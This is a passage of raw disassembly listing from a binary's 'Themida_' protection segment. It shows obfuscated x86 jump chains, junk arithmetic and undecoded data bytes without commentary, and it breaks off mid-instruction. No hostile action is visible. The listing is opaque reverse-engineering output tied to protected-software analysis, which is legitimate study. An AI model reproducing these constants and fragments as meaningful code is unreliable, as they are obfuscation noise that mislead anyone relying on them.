1A7CDAE9h, 7B76680Eh, 2C890000h, 61BB5324h dd 0BD3EE214h, 1E9A68D4h, 295BDD31h, 8AE95DE9h, 890000A7h dd 0EF682434h, 5E7B146Eh, 14F75646h, 0B397E924h, 0E929FFFFh dd 240C875Dh, 9206E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B7EA: ; CODE XREF: Themida_:0055A9FFj xor [esp], edx xor edx, [esp] mov esp, [esp] push 0FA9h jmp loc_557F1A ; --------------------------------------------------------------------------- db 5Ah, 83h, 0ECh dd 0C896602h, 0D4B45024h, 0CE68h, 24148900h, 0DAF62EB2h dd 8088F280h, 0F28023C2h, 0A1DCE919h, 1C870000h, 14895C24h dd 0AD59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B82E: ; CODE XREF: Themida_:0055CAEEj push ebx mov bl, ch mov [edi+eax*4+1], bl mov ebx, [esp] push edi jmp loc_557AB2 ; --------------------------------------------------------------------------- loc_55B83E: ; CODE XREF: Themida_:00566335j mov ebx, [esp] jmp loc_55F0D8 ; --------------------------------------------------------------------------- loc_55B846: ; CODE XREF: Themida_:00559F4Cj mov [esp], ebp push 36C2h jmp loc_56613B ; --------------------------------------------------------------------------- aSui db '\éu©',0 dd 4C28300h, 31241433h, 30E92414h, 0F600009Eh, 0C5EB80D3h dd 11E9DD28h, 59000056h, 34FFEF29h, 7EE95D24h, 0B50000A0h dd 4BE58046h, 809DF580h, 0B450B9F5h, 0F6DCF633h, 0FED4F6D4h dd 0C3EC80C4h, 3EA7E9h db 0 ; --------------------------------------------------------------------------- loc_55B89D: ; CODE XREF: Themida_:00566E1Fj shr eax, 2 dec eax push edi mov edi, 77633D91h jmp loc_562B0D ; --------------------------------------------------------------------------- aYfy db '(ÈYfY,´',0 dd 4B404D8h, 2EC8377h, 241C8966h, 0E952AAB7h, 0BE1Dh, 55DEE31h dd 494D6B90h, 9A0E1E2Dh, 5F00146h, 469A0E1Eh, 4D6B902Dh dd 0C3315E49h, 97E930FFh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B8EB: ; CODE XREF: Themida_:0055FB3Aj mov edx, esp push ebx push ebp jmp loc_56267A ; --------------------------------------------------------------------------- aPwsg db '^PWéG\',0 align 4 dd 4C281h, 0C2830000h, 0F972E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B90A: ; CODE XREF: Themida_:0055F2C7j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_565586 ; --------------------------------------------------------------------------- dd 1E076866h, 24048966h, 71CFE9h db 0 ; --------------------------------------------------------------------------- loc_55B929: ; CODE XREF: Themida_:0055EE19j or eax, 10AE6109h sub eax, 0BB6A455Bh add edx, eax jmp loc_559627 ; --------------------------------------------------------------------------- dw 515Ch dd 0ED80DBB5h, 0C0D5F601h, 0CDFE05E5h, 860B050h, 0B35358C5h dd 42C3804Dh, 380AE9h, 0E9202400h, 0FFFF8C4Ch, 40292DADh dd 0A2E90993h, 53000089h, 9F70FF68h, 814B5B75h, 608F04C3h dd 0E9DE898Ah, 652Ch ; --------------------------------------------------------------------------- loc_55B980: ; CODE XREF: Themida_:00555C56j add eax, 4 xchg eax, [esp] pop esp or eax, eax jz loc_55A394 push dword ptr [edi+1Ch] push ecx mov ecx, esp push edx mov edx, 4 sub ecx, 696F7A2Bh add ecx, edx add ecx, 696F7A2Bh pop edx push esi mov esi, 2ECF464Eh or esi, 0BB75139h dec esi neg esi sub esi, 0D000A87Eh add ecx, 652F23FAh add ecx, 3382117h jmp loc_55F4D0 ; --------------------------------------------------------------------------- loc_55B9D2: ; CODE XREF: Themida_:00566DF8j push eax mov eax, 207C343Eh jmp loc_567B4B ; --------------------------------------------------------------------------- db 68h, 0E3h, 5Ah dd 815848F2h, 0E5235FC1h, 56C1017Bh, 563BE9h db 0 ; --------------------------------------------------------------------------- loc_55B9F1: ; CODE XREF: Themida_:0055831Ej pop ecx pop edx mov ecx, [esp] add esp, 4 add ecx, 53FB4226h push 597Fh mov [esp], ebx sub esp, 4 mov [esp], edi push 51D30A18h pop edi push esi jmp loc_553A7C ; --------------------------------------------------------------------------- loc_55BA19: ; CODE XREF: Themida_:00565A61j pop edx jmp loc_552992 ; --------------------------------------------------------------------------- loc_55BA1F: ; CODE XREF: Themida_:0055DA8Ej add esp, 4 or eax, eax jmp loc_55F63F ; --------------------------------------------------------------------------- dd 8B240433h, 0C7E92424h, 81FFFF6Dh, 129C34C5h, 8BEB2944h dd 0CCE9242Ch, 89000076h, 82C7E9E6h, 78BDFFFFh, 0E90EF014h dd 3804h, 3166AD66h, 8AE8E9D8h, 0F660000h, 736800B6h, 8900002Dh dd 0EC83240Ch, 48F5404h, 24048324h, 6D685904h, 0E9000072h dd 0FFFFAD6Ch, 0E9240433h, 0FFFF71CDh, 0C2815A54h, 4, 4C281h dd 62E90000h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA9F: ; CODE XREF: Themida_:005571FFj xchg edi, [esp] jmp loc_561F9C ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 53CB8924h, 442CBB53h, 5C297F15h, 0FF5B0424h dd 815E2434h, 4C4h, 2CC68100h, 0FF7F1544h, 0E7E92434h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55E9AB ; --------------------------------------------------------------------------- db 68h, 8Fh, 2Fh dd 3C8B6E89h, 0F1DFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BAEE: ; CODE XREF: Themida_:00553AACj pop ecx jmp loc_558058 ; --------------------------------------------------------------------------- dd 0DA242C81h, 591F674Ch, 4CDAC181h, 31E91F67h, 2CFFFFB5h dd 0F92C1Bh, 53F904D8h, 0F8001BB7h, 0FFD8A1E9h, 6CE956FFh db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB1F: ; CODE XREF: Themida_:005567EBj mov [esp], edx jmp loc_55968B ; --------------------------------------------------------------------------- db 0BAh dd 414A03B9h, 7307C281h, 71E92E4Ch, 0E9000031h, 0FFFF6CC2h dd 81FFEB83h, 0F372C2EBh, 14E9533Ch, 29000053h, 0E0E95EF7h dd 89000030h, 0E589242Ch, 4EC81h, 0C890000h, 75E26824h dd 36E90000h, 2DFFFFB4h, 0ED735DDh, 65E9C829h, 5000006Bh dd 5DB05968h, 0C13158BDh, 0E9CB3158h, 92D8h, 0E924048Bh dd 0BAF6h ; --------------------------------------------------------------------------- loc_55BB90: ; CODE XREF: Themida_:0055A47Aj pop ebp sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 0D0E3828h shl edx, 7 xor edx, 5F4A4B79h push ebx mov ebx, esp jmp loc_55F773 ; --------------------------------------------------------------------------- loc_55BBB3: ; CODE XREF: Themida_:005605FDj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ebp jmp loc_5617A8 ; --------------------------------------------------------------------------- loc_55BBC8: ; CODE XREF: Themida_:00555290j xor edx, 0E812E0D8h sub eax, edx pop edx mov edx, eax pop eax jmp loc_55D8C5 ; --------------------------------------------------------------------------- loc_55BBD9: ; CODE XREF: Themida_:00560695j mov bh, 0A7h add bh, 0F4h jmp loc_5568E8 ; --------------------------------------------------------------------------- db 81h dd 0FF4AE5EFh, 0F7DF876Fh, 0E9DF87D3h, 6D66h ; --------------------------------------------------------------------------- loc_55BBF4: ; CODE XREF: Themida_:005640C3j push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_553C86 ; --------------------------------------------------------------------------- loc_55BC08: ; CODE XREF: Themida_:005635F1j add edi, 29233741h sub edi, ebp sub edi, 29233741h jmp loc_566F82 ; --------------------------------------------------------------------------- db 5Eh dd 4244401h, 24348B58h, 5704C483h, 4BFh, 5FFE0100h, 3E446851h dd 64E931BAh, 8BFFFF89h, 0C4812414h, 4, 0FFDE8FE9h, 2474FFFFh dd 48F5A04h, 61E3E924h, 28BB0000h, 8974732Eh, 0D8F75BD8h dd 8CD1D42Dh, 350FE98Bh, 0C15D0000h, 0E5C105E5h, 48E95505h dd 0FFFFFFE3h, 0E9582434h, 0FFFF7AFEh, 0D1D5F759h, 0A8E581EDh dd 81734058h, 0E85CDAF5h, 5DEE293Fh, 535EF501h, 0FFDDB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BC9D: ; CODE XREF: Themida_:0055381Bj xchg ecx, [esp] pop esp jmp loc_5605D3 ; --------------------------------------------------------------------------- dw 0E883h dd 24048704h, 242C895Ch, 0BFE95D54h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCB7: ; CODE XREF: Themida_:00567157j push ebx jmp loc_55B3AC ; --------------------------------------------------------------------------- loc_55BCBD: ; CODE XREF: Themida_:00560625j xor edx, [esp] xor [esp], edx jmp loc_567707 ; --------------------------------------------------------------------------- loc_55BCC8: ; CODE XREF: Themida_:005659C7j add esi, edx pop edx push edi mov edi, 0E35C9Dh push esi jmp loc_55E74B ; --------------------------------------------------------------------------- db 0BEh dd 0B7FC6825h, 0EDE9EE29h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCE3: ; CODE XREF: Themida_:00564D78j mov esp, [esp] push eax push dword ptr [esp+4] pop eax jmp loc_562983 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aWhs db '$WhS%',0 dw 5600h dd 0C681E689h, 4, 4EE81h, 34870000h, 0B46FE924h, 0E95CFFFFh dd 0FFFFA72Bh ; --------------------------------------------------------------------------- loc_55BD18: ; CODE XREF: Themida_:005642CAj push dword ptr [esp] pop ebp add esp, 4 and eax, edi push dword ptr [esp] push dword ptr [esp] pop edi jmp loc_5635D2 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 58616824h, 0C890000h, 0E9E18924h dd 261Fh, 0F7FFC783h, 6D1EE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BD52: ; CODE XREF: Themida_:0055EBBCj pop eax sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx mov cl, 0B4h mov dl, cl mov ecx, [esp] jmp loc_5556E9 ; --------------------------------------------------------------------------- loc_55BD6F: ; CODE XREF: Themida_:0055E9A6j and ecx, eax jmp loc_55913B ; --------------------------------------------------------------------------- dw 0C89h dd 0E720E924h, 0C680FFFFh, 5AF108D7h, 91C180h, 5B40E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BD8E: ; CODE XREF: Themida_:00561E73j mov edx, 337A75BEh sub [esp+8], edx push dword ptr [esp] jmp loc_5535EF ; --------------------------------------------------------------------------- loc_55BD9F: ; CODE XREF: Themida_:00563386j push ebx sub dword ptr [esp], 71F33B1Dh pop ecx push edi mov edi, 71F33B1Dh add ecx, edi pop edi push ecx add dword ptr [esp], 1ADA5408h pop eax push edi mov edi, 0D501E76h sub edi, 61CB4BD2h or edi, 2274144Bh push edi jmp loc_56673A ; --------------------------------------------------------------------------- loc_55BDD2: ; CODE XREF: Themida_:0055C541j xor edi, ebp xor ebp, edi jmp loc_560A36 ; --------------------------------------------------------------------------- db 1 dd 7A57E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDE2: ; CODE XREF: Themida_:00566B30j sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 79680FBCh neg edi shl edi, 8 sub edi, 100D4B0Ch dec edi add edi, 781D070Dh push 6E21h mov [esp], esi push 3EABh mov [esp], edi pop esi mov ecx, esi pop esi jmp loc_558A0A ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0C9680000h, 8900002Dh, 0CAE92414h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE37: ; CODE XREF: Themida_:0055DE86j push edi mov edi, 2CA63369h neg edi sub edi, 64825F4Eh xor ecx, edi pop edi mov eax, ecx pop ecx push edi mov edi, 4A1A62D1h sub edi, 0E3D2F624h sub eax, 55494FA9h sub eax, edi add eax, 55494FA9h mov edi, [esp] add esp, 4 inc eax xor eax, 1772F031h jmp loc_552947 ; --------------------------------------------------------------------------- loc_55BE74: ; CODE XREF: Themida_:00566EABj mov [esp], esi mov esi, 1B58439Dh and esi, 145063B9h sub esi, 10504395h add edi, 734553BAh add edi, 184D2220h add edi, esi sub edi, 184D2220h sub edi, 734553BAh mov esi, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] add esp, 4 movzx ecx, ax sub esp, 4 mov [esp], eax mov eax, esp push edi mov edi, 0A6C5ED4h or edi, 4E736983h jmp loc_55D025 ; --------------------------------------------------------------------------- loc_55BED6: ; CODE XREF: Themida_:00564B90j add esp, 4 and eax, edi push dword ptr [esp] jmp loc_554A5D ; --------------------------------------------------------------------------- db 81h dd 50152E7h, 16F78167h, 1060000h, 5D75E9F9h, 0C7810000h dd 7D9716B2h, 0EF81EF29h, 7D9716B2h, 4506E9h db 0 ; --------------------------------------------------------------------------- loc_55BF09: ; CODE XREF: Themida_:005650DFj xor eax, 4E6E005Dh xor eax, 4889249Ah not eax inc eax xor eax, 8F169BB0h mov ebp, eax mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5615B5 ; --------------------------------------------------------------------------- loc_55BF31: ; CODE XREF: Themida_:00555C09j pop ebx add ecx, 0B1CD90D3h mov ebx, ecx jmp loc_5599D3 ; --------------------------------------------------------------------------- db 0BBh dd 0C8AB6BACh, 815BDE89h, 575655EAh, 81F2293Fh, 575655C2h dd 2434FF3Fh, 718E9h, 2C48300h, 0E9ABC680h, 0FFFFD61Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi jmp loc_555970 ; --------------------------------------------------------------------------- db 0BFh, 5Ch, 54h dd 0C14705AAh, 575603EFh, 94D11BFh, 4D10BE60h, 0C6816009h dd 3F7E2D52h, 98E9FE29h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF9B: ; CODE XREF: Themida_:0055F308j add edx, 4 xchg edx, [esp] pop esp popa popf retn ; --------------------------------------------------------------------------- db 0E9h, 54h, 68h dd 0EC81FFFFh, 4, 83242489h, 5E042404h, 455CB850h, 0B9E94FCFh dd 80FFFFCEh, 0CB801ECBh, 3E3C07Eh, 0E9BFC380h, 0FFFFCDCDh dd 0CA1A7568h, 93EFE94Fh, 248BFFFFh, 0DC12E924h, 0BE56FFFFh dd 65B11682h, 754EC781h, 0F7017018h, 754EEF81h, 348B7018h dd 0E1895124h, 4C181h, 3BE90000h, 89FFFFE5h, 4C181E1h dd 0E9000000h, 0FFFF8322h, 74FDE952h, 0E2880000h, 8324048Bh dd 492C04C4h, 0B268D000h, 0E900007Eh, 0FFFFC748h ; --------------------------------------------------------------------------- loc_55C034: ; CODE XREF: Themida_:0056097Dj push edi jmp loc_562E6D ; --------------------------------------------------------------------------- loc_55C03A: ; CODE XREF: Themida_:00566F2Bj sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5648C5 ; --------------------------------------------------------------------------- loc_55C04F: ; CODE XREF: Themida_:00566487j add ecx, 5C663FD8h jmp loc_55D0C7 ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 0E289525Ch, 4C281h, 0B9510000h, 4, 51E9CA29h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C077: ; CODE XREF: Themida_:0055DC84j pop ecx sub ebx, 26782EF5h jmp loc_556320 ; --------------------------------------------------------------------------- db 0B9h dd 2ED72AC1h, 121DC581h, 0CD295371h, 121DED81h, 0C8B5371h dd 4C48324h, 0C581F501h, 2ED72AC1h, 116FE9h, 240C3300h dd 6293E95Ch, 28BD0000h, 0C15A1109h, 814D08EDh, 0AA2587CDh dd 8BF58101h, 101FA35h, 0BE565DEAh, 4, 335EF229h, 14312414h dd 0BA49E924h, 0C6810000h, 4, 8704EE83h, 895C2434h, 1D682434h dd 54000001h, 5024048Fh, 4EC81h, 34890000h, 2CA3E924h dd 0C7290000h, 0E924048Bh, 0A167h ; --------------------------------------------------------------------------- loc_55C110: ; CODE XREF: Themida_:00564EACj mov eax, 4A851EBh xor eax, 4A851EFh push eax pop ecx jmp loc_5563A9 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0D9h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C127: ; CODE XREF: Themida_:0055A525j add ebp, edx pop edx or ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 35E54C7h jmp loc_558AE5 ; --------------------------------------------------------------------------- loc_55C142: ; CODE XREF: Themida_:0055E6C0j push esp mov ecx, [esp] add esp, 4 jmp loc_55C3DA ; --------------------------------------------------------------------------- dw 0ABE9h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C153: ; CODE XREF: Themida_:0055D5F7j sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_55D7B6 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 0FF2434FFh, 0E9582434h, 0FFFFAE04h dd 24AAE940h, 0F2680000h, 89000075h, 0CDBF243Ch, 0E96BC41Ah dd 0FFFF96B5h, 0BF243C89h, 4, 44D6E951h, 0E9480000h, 706Dh dd 861EA80h, 12C5AD0h, 0C230DF2Ch, 8BD02858h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55CF3C ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B8240489h, 45C67838h, 353EE9h, 5AD72900h, 5C243C87h dd 54241489h, 4C2815Ah, 51000000h, 240C8B54h, 8104C483h dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 242C895Ch dd 268h, 0EA815D00h, 7C603E4Ah, 779AC281h, 0EA012A0Ch dd 779AEA81h, 0C2812A0Ch, 7C603E4Ah, 2414875Dh, 0FF8E26E9h dd 0C3015CFFh, 56EFEB81h, 16849B7h, 89000029h, 0BF57241Ch dd 0C1B1B63h, 728EE781h, 81475A0Fh, 0FB90FEFh, 5FFB8991h dd 2540E9h, 58E58800h, 4BE368h, 241C8900h, 0ED80B6B7h dd 80FD28D2h, 1C8BD2C5h, 0E6895624h, 4CC3BD55h, 0EDC15A4Fh dd 0ED814507h, 1DFA24C7h, 8102EDC1h, 0AE9E70F5h, 5DEE0138h dd 4C681h, 34870000h, 0E8305C24h, 0FFDAC5E9h, 4C481FFh dd 53000000h, 5B2414F7h, 4363E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C2B2: ; CODE XREF: Themida_:00553634j push ebp mov ebp, 67E0729Ah sub ecx, ebp pop ebp add ecx, 2BBAD738h xor eax, ecx pop ecx add ebx, eax pop eax push ecx mov ecx, 4 add ebx, 13F02260h add ebx, ecx jmp loc_55B488 ; --------------------------------------------------------------------------- dw 2C31h dd 0F283E924h, 0BB53FFFFh, 3B38559Dh, 70E9DD21h, 81000047h dd 185A55F1h, 25BD5568h, 0E9637F2Bh, 0FFFF79F3h, 51E903B4h dd 33000076h, 2FE9243Ch, 87FFFFDCh, 895C242Ch, 0FBBF243Ch dd 81124857h, 0A7533EE7h, 5347473Eh, 0A93F63BBh, 0B1C38114h dd 8117FE4Bh, 1F614ECBh, 0CB814370h, 41BB5FF0h, 4DD1E9h db 0 ; --------------------------------------------------------------------------- loc_55C341: ; CODE XREF: Themida_:005529B1j mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_560F5A ; --------------------------------------------------------------------------- loc_55C356: ; CODE XREF: Themida_:00562629j mov [esp], eax jmp loc_553C9D ; --------------------------------------------------------------------------- loc_55C35E: ; CODE XREF: Themida_:00554799j push 80h push dword ptr [esp] jmp loc_5573A9 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF648Eh, 3C8BF901h, 4C48124h, 68000000h, 41DEh, 0E9240C89h dd 0FFFFD122h ; --------------------------------------------------------------------------- loc_55C388: ; CODE XREF: Themida_:00567939j add esp, 4 push edx mov edx, 4 sub esi, edx pop edx jmp loc_566939 ; --------------------------------------------------------------------------- db 50h, 0B8h, 84h dd 0C13F7173h, 682D02E8h, 2D01C92Eh, 0C1A622F6h, 8158C589h dd 0BC191ECDh, 78685713h, 89000018h, 43BD242Ch, 89303D29h dd 18E95DEFh, 83FFFFF8h, 0BE5601C5h, 274805A4h, 0A085E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C3DA: ; CODE XREF: Themida_:0055C149j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_562E43 ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0FEAh, 31243433h, 34332434h, 1C895C24h, 815B5424h, 4C3h dd 57555000h, 1572B468h, 0EFB0E917h, 0F181FFFFh, 0F59B9677h dd 8159CD29h, 0C019DAC5h, 0EDD15B53h, 0EDC1DDF7h, 58545004h dd 405h, 42D00h, 4870000h, 34895C24h, 0D6EBE24h, 0F5310E52h dd 0E9E9095Eh, 0FFFFCB0Dh, 68240C89h, 6920584Bh, 592434FFh dd 4C481h, 0E9810000h, 504574BEh, 3E1C149h, 3213BB53h dd 84E9535Dh, 10000AFh, 7133E9D3h, 77E90000h, 5DFFFF63h dd 889DE9h, 74FF5700h, 37E90424h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C497: ; CODE XREF: Themida_:00566136j push ebx jmp loc_56136F ; --------------------------------------------------------------------------- loc_55C49D: ; CODE XREF: Themida_:005633EEj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5598E3 ; --------------------------------------------------------------------------- loc_55C4A9: ; CODE XREF: Themida_:00560265j add ebp, 0AE2CEAB8h mov ebx, ebp pop ebp xor ebx, 97D2CA4h jmp loc_55D91C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aWicvh db '$W‰çVh<|',0 align 2 dw 1C89h dd 9A1DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C4D2: ; CODE XREF: Themida_:00561597j dec edi push esi jmp loc_56735D ; --------------------------------------------------------------------------- loc_55C4D9: ; CODE XREF: Themida_:0055D9B2j add esp, 4 add esp, 4 push 575Fh mov [esp], ebx push esp jmp loc_5564EA ; --------------------------------------------------------------------------- aVhN db 'Vh{n',0 dw 8900h dd 13E9242Ch, 8BFFFF97h, 0F9E92424h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C503: ; CODE XREF: Themida_:0056158Aj pop edi push dword ptr [esp] pop ebx add esp, 4 and eax, esi push dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 push ebp mov ebp, 4 add esi, ebp pop ebp push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr eax, 8 xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp xor ebp, edi jmp loc_55BDD2 ; --------------------------------------------------------------------------- dw 5558h dd 583294BDh, 0EFF5812Ch, 1E87C22h, 0CB295DE9h, 0EABA5259h dd 81612178h, 1C6589CAh, 0F2814A37h, 9FD03C92h, 671BE9h dd 7574BE00h, 0C6812BA4h, 54592521h, 348BF331h, 4C48124h dd 53000000h, 52242C8Bh, 0C281E289h, 4, 0FFAED3E9h, 4BD55FFh dd 81000000h, 5264D1EEh, 81EE0157h, 5264D1C6h, 7A1DE957h dd 0ED810000h, 4D06DA7h, 771BC581h, 0E8016AC0h, 240C8B5Dh dd 45DAE957h, 0C3680000h, 89000072h, 5A5B2414h, 0D387DAF7h dd 2FE7EB81h, 9705A39Ah, 10D3805h, 404EE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C5EA: ; CODE XREF: Themida_:0056770Aj push eax mov eax, 699A5ADEh push esi mov esi, 2A977EA8h not esi not esi jmp loc_56551D ; --------------------------------------------------------------------------- db 58h dd 0E99AB252h, 170Dh, 0E95BDA00h, 6AB1h, 81240401h, 33572404h dd 0B8502A16h, 7B396F02h, 0FFAB78E9h, 242C81FFh, 5B900C5Ah db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55668B ; --------------------------------------------------------------------------- db 50h, 51h, 0E9h dd 0FFFF69AAh, 3E8E68h, 24348900h, 7676DABEh, 8BF0212Fh dd 0C4832434h, 12D04h, 0F7350000h, 29713D3Bh, 24048BC3h dd 722FE9h, 0E3895300h, 0FF6FC4E9h, 89515EFFh, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 5E2C15Ch, 0EA81D2F7h, 173D8DFBh dd 37C3E9h, 5F956800h, 14890000h, 241C8B24h, 4C481h, 98E90000h dd 2DFFFFE2h, 261E0161h, 45D5BD55h, 875572E9h, 0D5F7242Ch dd 5D242C87h, 77F168h, 242C8900h, 87243C87h, 87D5F7EFh dd 7DFFE9EFh, 8B660000h, 0EC812404h, 4, 0E9243489h, 0C3Eh ; --------------------------------------------------------------------------- loc_55C6EC: ; CODE XREF: Themida_:00554DA2j add esp, 4 jmp loc_557702 ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 241C8B54h, 0E904C483h, 9F0h, 31243C33h, 3C33243Ch dd 0E9F65C24h, 0CCB60F66h, 8C2DE9h, 59CE2900h, 0A0F68146h dd 5F0A4D2h, 79560734h, 342DF029h, 5E795607h, 5551E801h dd 935CA868h, 0D5F75D33h, 2AC6CD81h, 0D5E9487Fh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C74B: ; CODE XREF: Themida_:00555E02j xor edx, ecx xor ecx, edx xor edx, ecx xor [esp], edx jmp loc_559ECD ; --------------------------------------------------------------------------- db 1, 0F2h, 0E9h dd 398Ch ; --------------------------------------------------------------------------- loc_55C760: ; CODE XREF: Themida_:00552D2Cj xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp push eax mov eax, 177E378Ch add eax, 6F0D7F8Eh dec eax sub eax, 868BB715h add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi push 62741764h pop edi jmp loc_5601C7 ; --------------------------------------------------------------------------- aIxssc db '‰åé‘C',0 dw 5900h dd 0FFC281E9h, 89C589FFh, 0FE95DE9h, 8B00009Ah, 0C4812404h dd 4, 9E647935h, 4EC8171h, 89000000h, 22E9240Ch db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7CB: ; CODE XREF: Themida_:0055A4C9j push ebp jmp loc_55883D ; --------------------------------------------------------------------------- db 1, 0C2h, 81h dd 853864C2h, 0F8BD553Dh, 811B5202h, 0ED5914F5h, 5E5C14Fh dd 0ED81D5F7h, 0BDE2F20h, 0DE9EA29h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C7F7: ; CODE XREF: Themida_:00555E26j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_552B2F ; --------------------------------------------------------------------------- loc_55C80B: ; CODE XREF: Themida_:0055E92Dj push eax mov eax, 7DED3BE1h add esi, eax pop eax sub esp, 4 mov [esp], edi push 78C7h mov [esp], edx push 5ED41C7Fh pop edx push ecx mov ecx, 19E06FE2h sub ecx, 3B5F5880h dec ecx push 1782h mov [esp], edx mov edx, 4164B3Dh jmp loc_553361 ; --------------------------------------------------------------------------- loc_55C84A: ; CODE XREF: Themida_:0055A76Dj mov [esp], ecx push 432Ah push 1115h push esp jmp loc_56786D ; --------------------------------------------------------------------------- db 0BFh, 7Dh, 17h dd 0FE29DF23h, 0E9F0315Fh, 77BEh, 0EE805B66h, 5AF5887Ah dd 0C8BE830h, 4EC8324h, 89241C89h, 8605E9E3h, 5A660000h dd 24148B66h, 6F02E9h db 0 ; --------------------------------------------------------------------------- loc_55C891: ; CODE XREF: Themida_:00567BE3j pop ebp add esp, 4 jmp loc_556851 ; --------------------------------------------------------------------------- dw 0E983h dd 240C8704h, 0FFA3CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C8A5: ; CODE XREF: Themida_:0056611Cj mov eax, 721C60B9h not eax add eax, 9AE6351h inc eax dec eax xor eax, 0DC1D6745h mov edx, eax pop eax push eax mov eax, 198DE9D1h sub edx, eax pop eax not edx shr edx, 2 xchg ecx, edx not ecx jmp loc_5665CF ; --------------------------------------------------------------------------- dw 1489h dd 59FDBA24h, 0B5E92EB5h, 0B7FFFFACh, 0E9CFFE78h, 8BFDh ; --------------------------------------------------------------------------- loc_55C8E8: ; CODE XREF: Themida_:0055947Dj sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_564398 ; --------------------------------------------------------------------------- dd 24048966h, 3B3F68h, 241C8900h, 45B15152h, 0CE0063B6h dd 0FFCBDBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C911: ; CODE XREF: Themida_:005677F8j mov [esp], ecx mov ecx, 0B4B7EDCh xor ecx, 29D24D9Ah or ecx, 2D707C8Eh jmp loc_55F751 ; --------------------------------------------------------------------------- aSX5esJ db 'S»',0Ah db 'x5eéÚJ',0 dd 4C48100h, 0E9000000h, 163Eh, 782DD829h, 5537AA0Bh, 776B99BDh dd 420F055Ah, 0E82958E0h, 0E0420F2Dh, 242C8B58h, 0E9E38953h dd 5414h, 4E5BBE56h, 0F7967654h, 0C68196D0h, 1FDF228Bh dd 6852504Eh, 5AF1337Ch, 0FFD927E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C981: ; CODE XREF: Themida_:00565F32j add ebp, ecx add ebp, 42342205h pop ecx xchg ebp, [esp] mov esp, [esp] xor edx, 1F4B23FFh mov esi, edx pop edx and ecx, esi jmp loc_5637E8 ; --------------------------------------------------------------------------- loc_55C9A0: ; CODE XREF: Themida_:005679D3j mov edi, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, 